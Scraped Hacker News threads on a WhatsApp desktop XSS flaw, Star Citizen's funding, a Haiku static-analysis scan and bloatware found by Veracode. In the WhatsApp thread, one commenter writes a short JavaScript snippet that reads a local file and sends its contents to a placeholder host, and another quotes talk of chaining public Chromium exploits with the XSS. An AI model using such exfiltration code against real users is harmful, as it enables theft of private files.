Many Electron apps should just be a PWA instead, and many actually are. Why would I want to install a desktop app for WhatsApp? It runs just fine in Chrome, and using More Tools -> Create shortcut..., you can even create a launcher entry that will launch the page in its own window.

<comment><USER5> How do I build installer for Chrome PWA? Like if user does not have Chrome, it should install it. Also i don't want to bother user with that implicitly installed chrome, so it should not add shortcuts, etc and just live as an app launcher.

<comment><USER6> Turns out a PWA works in Firefox too [1] so I'm not sure it's entirely necessary to force a user to install a browser just for your app. Edge is/will be chromium, so I guess Safari is the only major browser to worry about?

[1] [https://blog.mozilla.org/firefox/progressive-web-apps- whats-...](https://blog.mozilla.org/firefox/progressive-web-apps-whats-big- deal/)

</comment></comment></comment></comment><comment><USER7> Skype, Slack and WhatsApp are using 250MB each on my machine to do something that was already possible on my 64MB RAM machine 20 years ago. And on top of that they're running one of the easiest hackable runtimes ever. Sure it's fun to mess a bit with a website and remove nag screens here and there but for an application that is expected to have a trusted encryption system it's just ridiculous.

I hope the pendulum swings back again and we'll see companies start to use cross-platform Rust libraries in some kind of way. I can't imagine you can't reuse 80% of the code that powers those applications in any other way than using some kind of Javascript engine. And perhaps we can just compile it to web using webassembly?

</comment><comment><USER8> I'm strongly opposed to apps that are just wrappers for web services. I don't need a wrapper when i could just open a browser i trust patches their vulnerabilities (nod to Firefox). Every electron app eats so much RAM, it's stupid. And in the end, I'm just using a browser making API calls, why do i need the wrapper?

<comment><USER9> I thought so as well - up until yesterday when I tried desktop version of Microsoft Outlook. Such an awful experience. Just trying to pick an available meeting room was surprisingly more difficult than on the modern web. And I can hardly see how even Microsoft could bring the web experience to desktop in the future without somehow leveraging the existing online version.

<comment><USER10> > I tried desktop version of Microsoft Outlook. Such an awful experience. Just > trying to pick an available meeting room was surprisingly more difficult > than on the modern web.

That has nothing to do with Electron. You can totally bork an UI on the "modern web", too. There's nothing stopping the Outlook team from porting the old room picking interface to the web version.

I've only used the Outlook web app as a fallback (at $work it used to be available using 2FA, and I'd use it if I needed to check my email real quick but didn't have my laptop -- and, thus, "real" Outlook -- with me) so maybe it's an exception. But most of the time I really wish people would stop trying to bring the web experience to desktop :).

</comment></comment></comment><comment><USER11> He didn't really demonstrate how "hackers" could read the file system, right? The screenshot of etc/hosts is on the same computer where that hosts file lives.

> There are more than 5 different 1-day RCEs in Chromium 69 or higher, you > just need to find a published one and use it through the persistent XSS > found earlier and BAM: Remote Code Execution ACHIEVED!

> I did not take the time to actually exploit a public RCE

The XSS vulnerability is serious and looks fully deserving of a bug bounty. Likewise, using an old version of Electron is asking for trouble. But for me this PoC should include the extra step of "just" exploiting one of the RCE holes he's sure must exist.

<comment><USER12> > He didn't really demonstrate how "hackers" could read the file system, > right? The screenshot of etc/hosts is on the same computer where that hosts > file lives.

If you can fetch arbitrary URLs, and the contents of local files, you can trivially exfiltrate the latter with the former. Just fetch the local file, then fetch an URL that encodes the contents of the local file.

        var text = fetch("/local/secret/file");
        fetch("https://example.org/"+encode(text));

<comment><USER11> Yes, that's right of course, I had missed that he almost certainly can request arbitrary remote URLs.

</comment></comment></comment><comment><USER13> Is there a good way to identify all Electron apps installed on my computer?

<comment><USER14> (macOS) Use this command to list all applications with Electron as a dependency:

      ls -1d -- /Applications/*.app/Contents/Frameworks/Electron\ Framework.framework

(linux) You can also search for any folder called "app.asar" or "app.asar.unpacked"

(windows) You can also reverse the process used to package an app: [https://www.electronjs.org/docs/tutorial/application- distrib...](https://www.electronjs.org/docs/tutorial/application-distribution)

<comment><USER15> Guess this is typical for a lot of us:

/Applications/Discord.app/Contents/Frameworks/Electron Framework.framework /Applications/Etcher.app/Contents/Frameworks/Electron Framework.framework /Applications/Twitch.app/Contents/Frameworks/Electron Framework.framework

<comment><USER13> DueFocus.app Keybase.app Marp.app Mullvad VPN.app Postman.app Skype.app Slack.app Visual Studio Code.app WhatsApp.app

</comment></comment></comment></comment><comment><USER16> Very nice work! Also curious what kind of bounty was paid out for this.

<comment><USER17> half of Jeff Bezos' net worth.

<comment> yoz-y Important to note that this flaw only affects the desktop version of WhatsApp. Which is not what Bezos was using.

<comment><USER18> There was (is?) obviously an issue with mobile WhatsApp and local file access (perhaps different in nature to desktop one) and the joke was just too good.

</comment></comment></comment></comment><comment><USER19> Wonder what other electron apps have issues like this, or at least did until they quickly updated their electron version.

<comment><USER20> Just checked my discord client right now and it's using Chrome 69 through Electron 4.0.8. Haven't had a chance to check a desktop version of Slack yet.

</comment></comment><comment><USER21> I'm a heavy WhatsApp user and I feel like WhatsApp has gone downhill ever since Facebook took over. Performance is down significantly, I experience a lot more visible bugs, more and more exploits are being revealed about seemingly trivial components (file encryption, browser XSS), and useless features are beeing added. Its not like WhatsApp Inc. was flawless before they got acquired, but at least it worked well and most of the developers _actually_ wanted to make a great chat app.

Its just a matter of time before Facebook merges WhatsApp with its Messenger (and keep either of those names).

<comment><USER22> Signal and Telegram are both solid alternatives built around different security models. When I get a notification in Messenger, Instagram, etc., I simply reply back with my contact info for those apps. Telegram gives you a vanity URL using your username, which is pretty cool.

<comment><USER21> Yes I am using Signal. It's just that most people around me are not on Signal. Trying to convince them to switch is useless (although I try). WhatsApp is not my first choice either.

<comment><USER23> Tell them no.

My perspective is, pick one of the many overlapping channels we already share or don't bother me. I am not signing up to yet another spyware-of-the-month app in order to chase your fashion sense.

<comment><USER24> They would say the same of you, from their perspective. It's like someone asking you for your Twitter and you replying that you only use Mastodon.

<comment><USER23> If I only used Mastodon or some other low-user-count service, you would have a point. Instead, what I said was,

> pick one of the many overlapping channels we already share

<comment><USER24> True. I think I was somewhat conflating your post with the parent's.

</comment></comment></comment></comment></comment></comment></comment><comment><USER25> Does anyone know if this was the vulnerability used to hack into Bezos' phone?

</comment><comment><USER26> wow, testing for `alert()` in a javascript environment is like the first thing you learn. Feels bad for whatsapp engineers :/

<comment><USER27> These flaws are such basic security 101 issues, I hate to think how many more better hidden issues exist.

</comment></comment><comment><USER28> TLDR: 1\. Altering the text of someone else's reply. 2\. Altering banner image of someone else's reply containing links. 3,4,5. Good.

</comment><comment><USER29> i'm starting to think that Durov was right after all...

</comment><comment><USER30> This is probably how the Saudi's got the data off Jeff's phone...

<comment><USER31> You think Bezos was running the desktop/Electron app on his phone?

<comment><USER21> He could have used the OSX desktop app. But the Bezos thing seems to be unrelated (as far as I can tell).

</comment></comment></comment><comment><USER32> How come that WhatsApp has so many security flaws recently and Signal isn't affected? This cannot be coincidence right? Signal has less people working on it, no massive corporation behind the product, more people as smart as Moxie working on it. I don't believe these flaws are just bugs... Right?

<comment><USER33> What is the basis of the assertion that "Signal isn't affected"? Do you track CVEs for Signal?</comment></comment>


Star Citizen: The Road to Release, Financials and New Partners - <AUTHOR> https://cloudimperiumgames.com/blog/letter-from-the-chairman/investment-news <comment><USER2> > We may not have the resources that an Activision or EA have to launch one of > their tentpole games

GTA 5 had budget of $265M ([https://en.wikipedia.org/wiki/Development_of_Grand_Theft_Aut...](https://en.wikipedia.org/wiki/Development_of_Grand_Theft_Auto_V)). Assuming info on wiki is correct SC is nearing 200M ([https://en.wikipedia.org/wiki/Star_Citizen#Funding](https://en.wikipedia.org/wiki/Star_Citizen#Funding)) which isn't too far off from GTA budget.

<comment><USER3> $265M was an estimate for both development and marketing, the estimate for the development alone was a bit over half, at $140M. So SC should already be over GTA V in terms of funding for development, as long as they're not forced to refund what they raised [1].

[1] [https://motherboard.vice.com/en_us/article/ne5n7b/star- citiz...](https://motherboard.vice.com/en_us/article/ne5n7b/star-citizen- court-documents-reveal-the-messy-reality-of-crowdfunding-a-dollar200-million- game)

<comment><USER4> But gta v started with gta IV, right? The engine was overhauled and improved - but SC started from scratch, pretty much?

<comment><USER5> SC started with CryEngine and is currently on Amazon's Lumberyard (which is a fork of CE).

<comment><USER4> And that's _just_ the engine. Gta IV already had a framework in place for "telling gta stories" so, even if they had a off the shelf game engine, se would still be making a "game" from scratch. Gta v probably tweaked most everything from iv beyond recognition - but they kinda started from a working game, and made another game.

<comment><USER6> SC has a framework in place for "telling Space Sim stories". There is nothing new there and Roberts has experience with that. I don't see how this would justify those "delays" and failures at all.

</comment></comment></comment></comment></comment></comment><comment><USER7> It's interesting reading this thread as one of the founders of Star Sonata, a space MMO that launched in 2004. Star Citizen has a lot of hype and a lot of money, but people seem to hate the game/results. Our players for the most part love our game and keep playing and subscribing even after more than a decade, but I can't for the life of me get the marketing right, so have been unable to bring in new players in any kind of numbers. I just wish 1% of the players who paid for Star Citizen even knew about Star Sonata.

For a while back in 2007-ish Google ads were working really well and bringing in paying players at about $35 cost to acquire each and they were worth more than $200 over their lifetime, but something changed almost over night and Google ads got more competitive and almost no amount of money would bring people in. I'm sitting here with a game that people like and will pay for but can't figure out anymore how to acquire them.

<comment><USER8> The "something" that changed is that private equity (and even banks) figured out how to financially model MMOs just like SAAS.

I think Tomasz Tunguz illustrates this concept beautifully in considering SAAS / MMOs as annuities (1)

With little incremental cost to each additional user, and predictable revenue over time, the customer acquisition cost becomes highly flexible if you can finance it (or leverage it).

As a result it's become an arms race and a common VC model today is to spend 2 - 3x total annual revenue in marketing spend to land grab new channels while the "annuity" cost is low.

If you're open to sharing more details you may spark somebody's attention on HN :) - I personally invest in SAAS / MMO / CRE + bring customer acquisition expertise (and a team) for cases exactly like this - although we try to target some minimum scale ($5m+ ARR / ASR)

(1) [https://tomtunguz.com/recurring-gross-margin-dollar- efficien...](https://tomtunguz.com/recurring-gross-margin-dollar-efficiency/)

<comment><USER9> How do I get in touch with you?

<comment><USER7> My email is in my profile.

</comment></comment></comment></comment><comment><USER10> I've been very interested in following the divergant paths of Star Citizen and Elite:Dangerous which are similar projects which started at roughly the same time (both kickstarted in 2012)

E:D seem to have taken the route of getting an MVP out and functional and have been iterating on that base since then adding new content, play modes, platforms etc. As a result they had a playable game out in 2014.

SC seems to have gone more for a big bang approach of only launching once they've got more in place with, from the blog post, an alpha in 2020.

<comment><USER11> I agree. E:D is a classic example of an iterative MVP. It's been criticized as being "wide as an ocean and deep as a puddle." People have also complained about subsequent for-pay expansions being "money grabs," and "why don't they finish the game before asking me to shell out more money."

Star Citizen took a more traditional "big-bang release" approach, complete with the (also traditional) wildly incorrect release predictions. Its funding model is based on selling spaceships, particularly concept sales for ships that aren't available in game yet, which has been criticized for "selling jpegs" and "pay-to-win."

Braben and Roberts' games were both very famous in their day. They're theoretically equally capable of generating a fervent following. It's interesting to see such diametrically opposed approaches. It seems to me that Star Citizen is much more successful, which is surprising, because the E:D approach is more in line with modern startup advice. Despite the complaints about SC's funding model, it's been amazingly consistent at bringing in about $34 million in pledges a year. [1]

(The real moral of the story: people on the Internet, and particularly gamers, will complain about everything. But those complaints aren't necessarily correlated with success.)

[1] [https://docs.google.com/spreadsheets/d/1tMAP0fg- AKScI3S3VjrD...](https://docs.google.com/spreadsheets/d/1tMAP0fg- AKScI3S3VjrDW3OaLO4zgBA1RSYoQOQoNSI/edit#gid=1694467207)

<comment><USER12> To be honest as a person who played Elite and Elite 2 ( Frontier I think was its full name) extensively in my childhood and adolescent years they were always "wide as an ocean and deep as a puddle". And speaking of Elite 2, it wasn't kidding. I still marvel at how 500kb of a game (I distinctly remember it was only a single disk and a disk to hold save files) contained entire galaxies and planets not only you can land but traverse with your ship. Sure they were procgen but still it was really breathtaking to see all those vistas I would never see - barring a wormhole

They were all about creating your own story, I think there wasn't a base storyline. It was like "here you have a kestrel with some equipment including atmospheric shielding and some pulse lasers. Now do whatever you want" But because I knew the trick trading route between Barnard's Star and Sol carrying Luxury goods and industrial stuff to and fro I could amass a huge amount of money in no time to buy me a Cobra MkIII and do military and imperial missions. And this was my story, a lot of people have different experiences with it. And even though it doesn't have any deep, life changing experiences it was fun and I think current iteration of E:D is faithful to that legacy. It is you who make the game deep with your experience I think. I don't play it, because me and internet-is-required games don't get along but from what I've seen I can make that claim.

Wing Commander and to an extent Freelancer can be seen more deep compared to Elite. But it lacked that free spirit Elite conveyed. Also on an unrelated tangent I still think a game with Freelancer controls (actiony rather than simulationy) with X-universe freedom can be a thing still.

Thanks for reading.

<comment><USER13> This description makes me wonder. There are lots of games who have huge amounts of depth like Paradox's grand strategy games. And they also claim the "tell your own story" environment, reasoning that the depth gives the environment that you can use to tell a story. So kind of the opposite of what you say being required.

Why do you think depth is not a requirement for this self story telling game? Isn't it getting boring quickly?

<comment><USER14> Not OP, but I think it has more to do about affordances [1] than depth.

From my experience with Oolite, a FOSS, modable Elite clone, providing a bunch of career choices (trader, pirate, bounty hunter) and NPCs that react to who you choose to be (e.g. bounty hunters will go after you if you choose to be a pirate) is a good start. Affordances for goal setting can be as simple as the traditional character/ship equipment upgrade ladder.

Oolite players tend to stick to the "non player centered universe" paradigm; that is the player is not a hero or destined to save the universe even though it is a single-player game. When a mod provides a new weapon or upgrade, it is considered better if the NPCs can use them too. They removed the Energy bomb that was present in Elite, an obvious player-only weapon.

In my experience, when the game doesn't make distinctions between NPCs and the player, your player instincts tell you to become stronger than NPCs.

A corollary of the non player-centered game paradigm is that the beginning of the game can be rough for the player. Typically in Oolite with the standard startup, the players spend their first couple hours staying away from any other ship and fleeing pirates because they cannot really fight back without a decent equipment.

One could name that a "difficulty inversion": a game that is difficult at first, then get easier as the player acquires better gears. Oolite has this problem. I was trying to make a set of mods to fix it before my interest shifted to another game. Not that I got bored of Oolite, it's just that I've found something even more interesting to work on, and sometimes I have an Oolite itch, because solving similar issues but in a full sandbox multiplayer game is even more difficult.

The endgame can be a problem too, because eventually players can afford the best gear and one-shot most things. My take on this is to use the "high-score" game approach, that is making it more and more difficult to survive (really just like Tetris). More specifically, in Elite/Oolite there's a mysterious and hostile alien race than can be used to create an unstoppable invasion force scenario. This approach both helps with increasing the difficulty proportionally to the wealth of the player, and provides a story-telling affordance.

[1] [https://en.wikipedia.org/wiki/Affordance](https://en.wikipedia.org/wiki/Affordance) \- my spellchecker doesn't know that word so I guess it's not common?

</comment></comment></comment></comment></comment><comment><USER15> [https://en.wikipedia.org/wiki/Star_Citizen#Controversy](https://en.wikipedia.org/wiki/Star_Citizen#Controversy)

Wow, the timeline is an horror story.

I don't understand the appeal of space opera games like this. They will mostly be empty zones of players.

I also have ideas to make an ambitious video game, with persistence and an open world. But I would rather start small and humble by releasing something that is playable, add cool features as the development progresses, but still providing basic features and playability at first, that would be slowly replaced by the more advanced features of the game. Making a game attractive quickly from the beginning is important, especially if you're using the crowdfunding model. Today it's possible to have a continuous evolution of a game, to constantly change and improve it.

The hardest will always be to track player locations in realtime, on a large world, while keeping the game smooth enough. Once that is done, the sky is the limit. I don't understand why so many games focus on the content (because that can be an real time and money sink), while the only things that are attractive for such games are the gameplay and the multiplayer.

<comment><USER16> > They will mostly be empty zones of players.

They plan to have a complete Sims-like ecology of NPCs, and players will fit into that.

<comment><USER6> Yeah, they plan to have hundreds of systems. Now they have one planet and a few moons and not even that is finished.

What is the time frame here? Decades? I mean seriously, why is anyone believing this?

<comment><USER16> Yes, decades. I expect they will maintain this game forever. I don't see them dropping it and starting a new property, and I don't see them releasing a 2.0 universe. They will just keep adding and improving the SC universe as long as people keep buying ships.

Actually, I think there's a 50/50 chance SC becomes one of the first permanent 24/7 habitable VR universes. Where people live and work full time. A full economy, elections, etc.

Obviously that's decades away, but who else is building anything equivalent? Facebook is taking the approach of giving us mini VR apps, and hoping a universe will evolve from that. Cloud Imperium is taking the opposite direction, building a "Sim Universe" first and adding "apps" as needed.

I'm not sure which is the better approach... which is harder, building a fully fleshed out simulated universe or building out the killer apps of VR interaction?

Actually I think they're probably about equally hard, and each side will just copy what the other did to complete the picture. But CI and FB are both well positioned to capture a slice of the fulltime VR market when it emerges in the late 2020s.

<comment><USER6> I'll eat a sock if this mess becomes anything even close to what you expect it to be. Considering the rumors that they've used up over 90% of the money last year already, I can't imagine what this company will become in a few years.

> I'm not sure which is the better approach...

Really? How about a stable foundation for something like a permanent universe? How about a management that is capable and how about a serious, viable business model?

Instead the business model is the worse of the new lootbox-generation of games, the management is a highly questionable dictator with a terrible history of managing teams and his wife. The foundation never was properly stable for anything of the scale it is in now. Not even speaking about a functioning MMO. And of course there is no native support for VR there...it may come...like female characters...

I mean man, come on... The visions some people have of this game are so far away from justified, it has all the signs of a unhealthy cult.

FYI: [https://www.youtube.com/playlist?list=PL7SIP0NDfM2yyHKfRmCAo...](https://www.youtube.com/playlist?list=PL7SIP0NDfM2yyHKfRmCAociCcJKZHHY0E)

<comment><USER17> Remember how the same kind of runaway imagination ended with the release of No Man's Sky? If I were at CIG, I'd be really worried about the psychotic hate that could come my way when this all collapses, or just fails to meet the incredibly overblown expectations of fans, nurtured by CIG itself.

<comment><USER6> I'm sure they'll have some story for them moment when it fails. My bet is: Roberts will blame it on those investors he obviously started collecting now (if they don't remove him by then). And for the rest: yeah, some will be pissed. The rest will keep justifying. They've been doing it for years and many did grow up with it. I mean, this thing is going for a few years already.

The rest will keep on laughing...

Edit: regarding delusional artists [https://wccftech.com/roberts- squadron-42-above-god-of-war/](https://wccftech.com/roberts-squadron-42-above- god-of-war/)

</comment></comment></comment></comment></comment></comment></comment><comment><USER18> As far as I can tell, this game is still an utter clusterfuck. From a basic technical point of view, there have been fundamental flaws that have been there from its inception in 2011, that have never been fixed. They just keep throwing more crap on top of it making it buggier and buggier. Its the poster child for the sunken cost fallacy.

From a gameplay perspective, it hasnt gotten to a point where Ive been been able to even speculate on that. Their gameplay concept seems to be: build a big online sandbox and then... fun will magically appear, and they've iterated on this less than 1 time so far, so my expectations are about as low as possible. Also any time I've played it, every kind of interaction (flying, walking, UI, everything) is a mess, and feels terrible.

I dearly want this to be my dream game, but my professional opinion is that if it ends up being any kind of decently playable game at all it would be a miracle.

<comment><USER19> I want to read about those flaws in detail but do you have any articles or blog posts links of such?

</comment></comment><comment><USER3> Related discussion on HN about star citizen and their gross mismanagement/incompetence with their funds and time: [https://news.ycombinator.com/item?id=17553371](https://news.ycombinator.com/item?id=17553371)

<comment><USER20> This story was a wash. A guy put a shit ton of money into a kickerstarter product and was expecting a fully fledged polished product. It's not a pre- order, buddy.

<comment><USER21> If Kickstarter is a license to take millions of dollars then deliver something different four years late, why does anyone ever contribute to Kickstarter projects?

<comment><USER20> Is it hard in this day in age to understand the difference of being part of bringing a product to life versus pre-ordering a product? Apple has set the bar so high that people turn off their brains.

<comment><USER21> "Being part of bringing a product to life" is usually something you're paid to do, not something you pay to do.

Compared to being an employee collecting a salary or an investor collecting a share of the profit, Kickstarter is a terrible deal.

Not a pre-order indeed. Not _even_ a pre-order. Worse than a pre-order.

</comment></comment></comment></comment></comment><comment> y-c-o-m-b Personally I think even if they fail (though I prefer they succeed!), they've still done a wonderful thing. They are pushing boundaries far beyond what I thought was possible in modern games and that in itself is a great accomplishment. It's going to push more game developers to do the same and given the success of Red Dead Redemption 2 - which also pushed boundaries beyond what I expected - it seems we're going to be getting some really massive and immersive games in the not too distant future.

<comment><USER22> As an early Star Citizen backer, I don't fully get how they pushed the boundaries of gaming. They seem to have to just wasted backer money, wasted hours of developer time that could have been used to make other games, and broke promises.

<comment><USER23> Here's something worth reading: [https://starcitizen.tools/Object_Container_Streaming](https://starcitizen.tools/Object_Container_Streaming)

<comment><USER24> As a game developer, I don't think this is particularly noteworthy.

I'm sure it was a very important optimisation for Star Citizen, but it's not like some amazing tech that will be important for the game industry or anything.

Star Citizen had some awful performance problems, and because the development is quite public, optimisations that programmers are working on get important sounding names and publicity all their own. If it wasn't for that, this would just be an implementation detail in their engine.

<comment><USER23> I didn't post that to suggest it was something remarkable or novel in game development, but it certainly wasn't a waste of time as the commenter I replied to was suggesting.

As you said, OCS was a needed optimization at the time it was rolled into the publicly facing releases, and I thought it was an interesting topic to at least _share_ with others who are interested in the discussion (the amount of negative downvotes I see now maybe suggests folks don't find it as interesting as I do as someone who merely plays video games but doesn't develop them); at the very least I wasn't aware that it's a common technology, but it is still an interesting technology to me nonetheless.

</comment></comment></comment></comment></comment><comment><USER25> $460M valuation and taking on money from a family office. Not too shabby. I still think CIG bit off far more than they could chew, and comprised the final product as a result. But I do hope they succeed.

<comment><USER10> I'm very impressed that they got that valuation. Looking at the UK CIG accounts for 2017 they had a balance sheet value of -£12,304 , so props to them for getting that much investment.

</comment></comment><comment><USER26> The roadmap they created is pretty fucking incredible, and it definitely inspires me to put more effort into my Asana/Basecamp/Trello Boards...

[https://robertsspaceindustries.com/roadmap/board/2-Squadron-...](https://robertsspaceindustries.com/roadmap/board/2-Squadron-42)

But serious question, how long did it take to make this roadmap? Like was there a roadmap for the roadmap project?

<comment><USER11> They have a third-party contractor, Turbulent [1], that builds their website, including the roadmap visualization.

The data from the roadmap comes from CIG's internal Jira. There's some sort of automated export once every week. I presume they tag Jira items in some way so they show up on the roadmap.

They've been providing a roadmap for Star Citizen (the MMO counterpart to Squadron 42) for a year. It's been reasonably accurate about what will be delivered in the next quarter, with only a few things slipping. It's been mostly inaccurate about the following quarter. Longer term plans are almost always delayed.

It's reasonable to assume the SQ42 roadmap will experience the same sorts of delays and I think plotting out a roadmap to this level of detail was a mistake. I think it reflects a culture of wishful thinking among CIG's upper management and the delays will inflame the fans and the press.

[1] [https://www.turbulent.ca/en](https://www.turbulent.ca/en)

(To be clear: I don't think there's anything wrong with delays. Software is always delayed. The mistake isn't the delays; it's believing the estimates.)

</comment></comment><comment><USER6> I don't understand all the talk about marketing there. If there is something those products doesn't need more of, then it's marketing. They've made millions selling digital pictures. It was pretty much brilliant.

However the product itself lacks...everything.

<comment><USER27> They might need a lot of marketing to undo the damage that has already been done. I'm one of those who have been super interested in it during the past years but I wouldn't touch Star Citizen with a 10 foot pole now, after those "pay hundreds of dollars for alpha access" horror stories I've heard.

And just for the record, despite liking space sims I'm also not planning to pay $27,000 for a starter pack.

<comment><USER23> _I 'm also not planning to pay $27,000 for a starter pack._

Well the good news is a Star Citizen starter pack these days runs about the same cost as your average AAA game these days, give or take a few bucks.

<comment><USER28> If anyone's wondering, $45 gets you Star Citizen, optional $15 add-on to also get Squadron 42. $60 total for the MMO and the single player game.

You can't add SQ42 at that price later, so if you're interested in single player be sure to hit that checkbox.

</comment></comment></comment></comment><comment><USER29> I get the impression that the future of gaming is not going to be massive AAA titles. They will start to not be economically viable very soon as we get to a max saturation of peoples time playing video games. With the over-abundance of good and "good enough" titles that took 1/100th of the time and money to create what sense does it make to have a 200 million dollar project?

<comment><USER30> There are game types that just aren't possible without massive budgets. Huge open world games in particular can't be made without a large team of content creators[1]. For games like Red Dead Redemption, Breath of the Wild, etc... there isn't anything close to comparable coming out of a small studio anytime in the near future.

Even CD Projekt Red, which is based in a low cost of living country spent $81 million developing The Witcher III. A small studio with a $2 million budget has absolutely no chance of making something that players who expect The Witcher III will think is good enough.

And as technology (and budgets) progress, gamers expect more. More art, more story, more quests. The kind of content that we are nowhere near auto- generating.

1\. I shouldn't say can't be made--can't be made up to the standards players expect. No Man's Sky and other games have tried, but procedural generation just doesn't come close to matching the quality and detail of more hand crafted open worlds.

<comment><USER31> I would like to mention Avorion. Its sandbox space game developed by two guys with heavy emphasis on user-created content and procedural generation that I've bought on Steam sale two years ago for 7EUR and devs are still updating it adding new features and fixing issues:

[https://store.steampowered.com/app/445220/Avorion/](https://store.steampowered.com/app/445220/Avorion/)

Its considerably small and limited in scope, yet game progression feels rewarding enough that some people (me included) have clocked hundreds of hours doing it.

This is the kind of game I feel we need more of. Small games focused on limited number of features, continously improving those features.

<comment><USER30> I don't mean to suggest that it's not possible for indie studios to make great games by limiting scope--clearly it is, and I'm working on one myself. Just that we have to remember that the key is that they are limiting the scope. There will always be a place in the market for games on a grander scale.

</comment></comment></comment></comment><comment><USER32> _> a complete overhaul of the game code to run on multiple CPU cores simultaneously_

Did they switch to Vulkan already to do it? In the past they said, that was the plan.

Also, no word on Linux version in this announcement.

<comment><USER33> Why would switching to Vulkan have anything to do with making the CPU code multithreaded?

<comment><USER34> Most OpenGL versions(not sure about last ones) required to use one thread. You can push stuff into GPU from multiple threads in vulkan.

</comment></comment></comment><comment><USER26> They have 4 Tasks left to complete on the Roadmap in Q4 of 2018.

So 9 days, and Christmas/New Years Eve Holidays to deal with.

I think they are in real danger of fucking up their 2 roadmap within the first week of releasing it.

I hope for their sake they didn't publish this without getting a few of those tasks basically finished ahead of time so they could at least start off in a way that made it look like they could follow their own schedule.

<comment><USER35> Their roadmap is pulled directly from their JIRA database, so if a task slips a week or so due to holidays, the next update will reflect that. If you look back at their previous roadmap updates, they knock way more then 4 tasks out a week, but even if they miss their target they can "fuck up" the road map since it will just update with the new status next week.

</comment></comment><comment><USER36> I never backed Star Citizen, though I keep an ear out for updates here and there.

It seems like Derek Smart has come up in every thread about SC for a few years now. Why? Google tells me he developed a similar singleplayer game a long time ago and is currently working on some kind of online venture. Is he attached to the SC project?

<comment><USER37> As far as I've been able to tell, Derek Smart and Chris Roberts have a long- standing bitter rivalry over who can make the best space game, driven by the substantial egos on the both of them. At present, that mostly manifests as Smart doomsaying about Star Citizen on the internet to anyone who'll listen, with claims of highly variable quality - but I believe there have been periods in the past when the roles of developer & critic were reversed.

<comment><USER38> _bitter rivalry over who can make the best space game_

That doesn't sound quite right. For all of SC's seemingly infinite problems, Chris Roberts has actually shipped a whole bunch of beloved classics. Derek Smart has not.

<comment><USER39> Chris Roberts' last game which he was kicked off by Microsoft, was Freelancer. He exited the video game industry shortly after to go make movies. His Ascendant Pictures venture collapsed a few years later.

[http://gameranx.com/updates/id/70033/article/the-chris- rober...](http://gameranx.com/updates/id/70033/article/the-chris-roberts- theory-of-everything/)

Derek Smart, since 1996, has developed and shipped over a dozen games. He still makes games.

[http://3000ad.com/games/](http://3000ad.com/games/)

<comment><USER38> This is silly. Derek Smart's 'games' are barely games. Chris Roberts, again, has shipped whole bunch of acknowledged classics. Me playing air-guitar in the shower does not make me a 'bitter rival' of Jimmy Page.

You could say they're rivals in who is going to turn out to be a bigger scammer and purveyor of unfulfilled promises. Roberts might end up winning that one overwhelmingly as well.

<comment><USER39> What you're saying is what's silly and preposterous. Nothing further needs to be said.

</comment></comment></comment></comment></comment></comment><comment><USER40> In other news, the main character will be renamed Duke Nukem.

</comment><comment><USER41> Congrats guys for making the world record Micro transaction sale of $46 million. All that without ever even making a game!

</comment><comment><USER42> The thing about Star Citizen is that there's this super vocal minority of people that bought into some version of Derek Smart's bullshit. They decided that some aspect of Star Citizen is not exactly how games have worked in the past, or otherwise does not meet their expectations, and they are now rooting for failure -- _any_ kind of failure. The fact of the matter is, the vast majority of backers (myself included) are _happy_ with the way things have gone and are going. Or there are the few detractors who paid their $35 or whatever in 2014 being told in no uncertain terms that "this is a flexible project with flexible design goals and a flexible release schedule" and so are complaining about not having read about Star Citizen before buying into it. And so, as someone that has put multiple thousands of dollars into the game from the first week it was on Kickstarter, I am _enormously_ pleased with how Star Citizen has been developed, and how it looks and plays now, and actually sincerely hope they push for a later release than 2019. I can wait for Chris Roberts' magnum opus.

<comment><USER43> Derek Smart was and is right.

<comment><USER42> All of these intense, weird, baseless, anti-SC posts suddenly make sense.</comment></comment></comment>


New PVS studio scan - <AUTHOR> https://www.haiku-os.org/blog/pulkomandy/2019-07-27_new_pvs_studio_scan/ <comment><USER2> Good to see ongoing Haiku development. I tried it on an older macbook-pro a while back but couldn't get ethernet/wifi working. Perhaps I'll give it another try soon.

Also, I love how the website has that 2002 PHP-nuke cms kinda look and feel to it.

<comment><USER3> > I tried it on an older macbook-pro a while back but couldn't get > ethernet/wifi working. Perhaps I'll give it another try soon.

Yes, you may want to try again, others have had much better success recently, e.g. [https://tinyapps.org/docs/haiku/](https://tinyapps.org/docs/haiku/)

> Also, I love how the website has that 2002 PHP-nuke cms kinda look and feel > to it.

Well, under the hood it's Hugo + a custom Bootstrap theme on Netlify; but we are long overdue for a redesign... :p

</comment></comment><comment><USER4> What is the PVS tool?

<comment><USER3> It's a (commercial) static code analyzer: [https://www.viva64.com/en/pvs- studio/](https://www.viva64.com/en/pvs-studio/)

You could probably make a comparison between it and Clang-Analyzer (however, we've found in practice that PVS Studio gives much, much fewer false positive results.)</comment></comment>


Executable Archaeology: The Case Of The Stupid Thing Eating All My RAM - <AUTHOR> http://www.veracode.com/blog/2013/05/executable-archaeology-the-case-of-the-stupid-thing-eating-all-my-ram/ <comment><USER2> I would like to see the bug report. "BUG12345: Shaking my computer results in a loss of available memory".

<comment><USER3> That reminds me of the famous Sun Microsystems discovery that shouting at hard drives increases their latency (for real): <http://www.youtube.com/watch?v=tDacjrSCeq4>

</comment></comment><comment><USER4> I find it incredible that Microsoft would allow OEMs to preload software like this. The end user experience and impression of Windows 8 takes a brutal hit.

<comment><USER5> Microsoft does work at eliminating this kind of thing. They clearly just missed this one.

Microsoft's main source of control over OEMs is the logo program. All laptops that want to get the "Designed for Windows" sticker (logo) have to pass a minimum bar set by Microsoft, which includes things like "must boot within X seconds" or "must sleep within Y seconds", "must output the correct audio frequencies", etc. My guess is none of the logo tests invoke the accelerometer which is why this got missed.

The logo program is great in theory, but in practice it doesn't work too well since consumers don't care about the sticker. Therefore, if Microsoft makes the requirements too high, OEMs will simply stop trying and just sell their laptops without a sticker.

<comment><USER6> I care about that sticker; I don't like it. Especially with laptops, those stickers (you may get a 'Intel inside' one, too) look ugly. Removal also typically is hard, as the stickers are designed to look good for years.

B the way, I remember reading somewhere that Dell at a time compared the benefits of being in such a program with the cost of applying such a sticker, and found it wasn't worthwhile to take part in that sticker program. Anybody know whether that is true?

<comment><USER7> I don't know, but my dell box has a windows 7 sticker on (running Ubuntu, of course), so someone somewhere in Dell/Microsoft clearly made it worthwhile...

</comment></comment></comment></comment><comment><USER8> Very neat discovery and great write-up about it! Were you able to get in touch with somebody at "Spacer" to let them know about the mistake? If so, are they going to correct it?

</comment><comment><USER9> Why protect the guilty "Spacer"?

